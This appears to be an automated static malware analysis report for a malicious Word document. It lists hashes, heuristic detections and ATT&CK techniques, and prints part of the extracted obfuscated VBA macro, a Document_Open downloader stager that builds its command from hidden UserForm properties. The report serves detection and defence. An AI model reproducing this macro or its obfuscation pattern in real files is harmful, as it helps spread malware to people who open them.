Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6bebce3556155dab…

MALICIOUS

Office (OLE)

183.9 KB Created: 2019-12-13 15:20:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 3e634d944bdb6c5a13701cb39063092e SHA-1: 15a8be60a721382d0970f011f505f574b1fd15e4 SHA-256: 6bebce3556155dab0e8e8afaeb1b872c4e3ecb8736f83a32a1581c5ffd1fdc1a
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro and a hidden UserForm command stager, which are indicative of malicious intent. The presence of these elements suggests the document is designed to execute arbitrary code upon opening, likely to download and run a secondary payload. The ClamAV detection further supports its malicious classification.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-7452078-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-7452078-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10991 bytes
SHA-256: 360baa2e8371d149970bac6b48fa0b4ead77c6c70f170b7b260c86e68e558e14
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wzlsluxcmitn"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "Frxrexkafow, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   Zfrwazjrxmqtc = Gghpxzqlx
Sewtqckfpkzw = Qpbbnjuj
Hqiaajuu = Geudvnjwz
Select _
 Case Kcpgjokkt
      Case 172
         Jvlzujffqf _
         = Hex _
         (209)
         Tmuxfzzxjbuxn = CVar(509)
         Qukjaixvzrwt _
         = Hex(981)
      Case 591
         Tdbigvtoqekt = CVar(30)
         Haolbool _
         = 899
         Bnwrufjgzfqys = CDate _
         (364)
      Case 520
         Xbbdfyhgw = _
         CInt(470)
         Dkrmcixghtzcu = Log(Etwjiizeemnh)
         Tgzdvczomdibl = Xzhtkunkmfq
End Select
   Vbeuvvmli = Zmrmmqwzqzv
Iikimmdgaxr = Zhykdcpe
Emrkcmufaeq = Kezvvkyoaul
Select _
 Case Afwtiidufvu
      Case 221
         Tgsroknt _
         = Hex _
         (626)
         Dguugyesf = CVar(883)
         Mojgvhiteje _
         = Hex(906)
      Case 416
         Qswigbdvmasm = CVar(886)
         Xvbcpimhril _
         = 800
         Eajwynzd = CDate _
         (758)
      Case 307
         Wmepsaoq = _
         CInt(82)
         Tlxdgplii = Log(Xnyzvcdtzol)
         Eqlsuhcsqkjs = Pjcrumnzy
End Select
   Lanbfrocgr = Esklhhjdu
Hakywhmrlt = Tbmzweudv
Jaixnbppqqq = Vtsuuzxn
Select _
 Case Rjvimzzrod
      Case 661
         Xnkyqwdl _
         = Hex _
         (89)
         Vlecmajw = CVar(780)
         Hornstcq _
         = Hex(839)
      Case 540
         Bcruwekvibkqx = CVar(915)
         Jdknyhsxhtj _
         = 354
         Gxtmupbsukghp = CDate _
         (909)
      Case 125
         Esqqdyiprds = _
         CInt(433)
         Ejaminolhx = Log(Mwotdfjtf)
         Dtsyyibjbyt = Jtycabwvuh
End Select
Lcjxqrregfpv
End Sub


Attribute VB_Name = "Eailhicuzjotr"
Attribute VB_Base = "0{A0DE5B0E-3A42-4D31-AD8D-9BF7FB3C621F}{C31CCB3A-629D-4A31-8589-006693104201}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Ladkdwna"
Function Tykabrwzuun()
   Qoryrtuxjxfxp = Fptsiuvgnf
Qzpihlmnst = Ezmujhlyiqgl
Hcuheswi = Upylchtlpanji
Select _
 Case Gtwczsdreeksl
      Case 219
         Vwvoatizv _
         = Hex _
         (262)
         Vvppxuukyzzfd = CVar(464)
         Xuhsoiwjfqo _
         = Hex(240)
      Case 9
         Dxtbacxicogpy = CVar(398)
         Gvrrjkwoscn _
         = 990
         Lkyjauhbfyeah = CDate _
         (622)
      Case 312
         Fadphgdjzwjp = _
         CInt(289)
         Bznozwrqxp = Log(Paxmqccajrzx)
         Iaznrfarezrm = Dpdnlorcmn
End Select
Bahavnjxvpr = Wzlsluxcmitn.Frxrexkafow
   Klwlwotnisrch = Cqzaqyykcsf
Ifmwogot = Wmbidccsrar
Sfhbmausqu = Cgunahuwc
Select _
 Case Ppvhzzosjkw
      Case 936
         Gfbtmvfrjda _
         = Hex _
         (487)
         Fqswbgpqs = CVar(298)
         Suscbjugmdgv _
         = Hex(820)
      Case 817
         Khxwfmul = CVar(217)
         Xamjpdaoujar _
         = 600
         Pajtjeyv = CDate _
         (58)
      Case 109
         Rystnywhcxeb = _
         CInt(523)
         Qidsawaset = Log(Dbbmwbnrr)
         Gavmtpeyod = Bbfupuzu
End Select
Zfiwvmskvqzu = Bahavnjxvpr + Eailhicuzjotr.Zrlpryhuqkt + Eailhicuzjotr.Leduriedcjuge + Eailhicuzjotr.Yzvfmnkir
   Jvivsalsfz = Pkossydc
Zjxidxwcbzcl = Lhdzgktxbenhd
Dhxjsvyyj = Wcxvzdpshku
Select _
 Case Tycitvvueyxse
      Case 1
         Amjucsoq _
         = Hex _
         (977)
         Ejslktjcb = CVar(788)
         Tqeobtreadua _
         = Hex(752)
      Case 520
         Vaabcfhccold = CVar(315)
         Enpcnigwefbz _
         = 983
         Yckiftpsjb = CDate _
         (532)
  
... (truncated)

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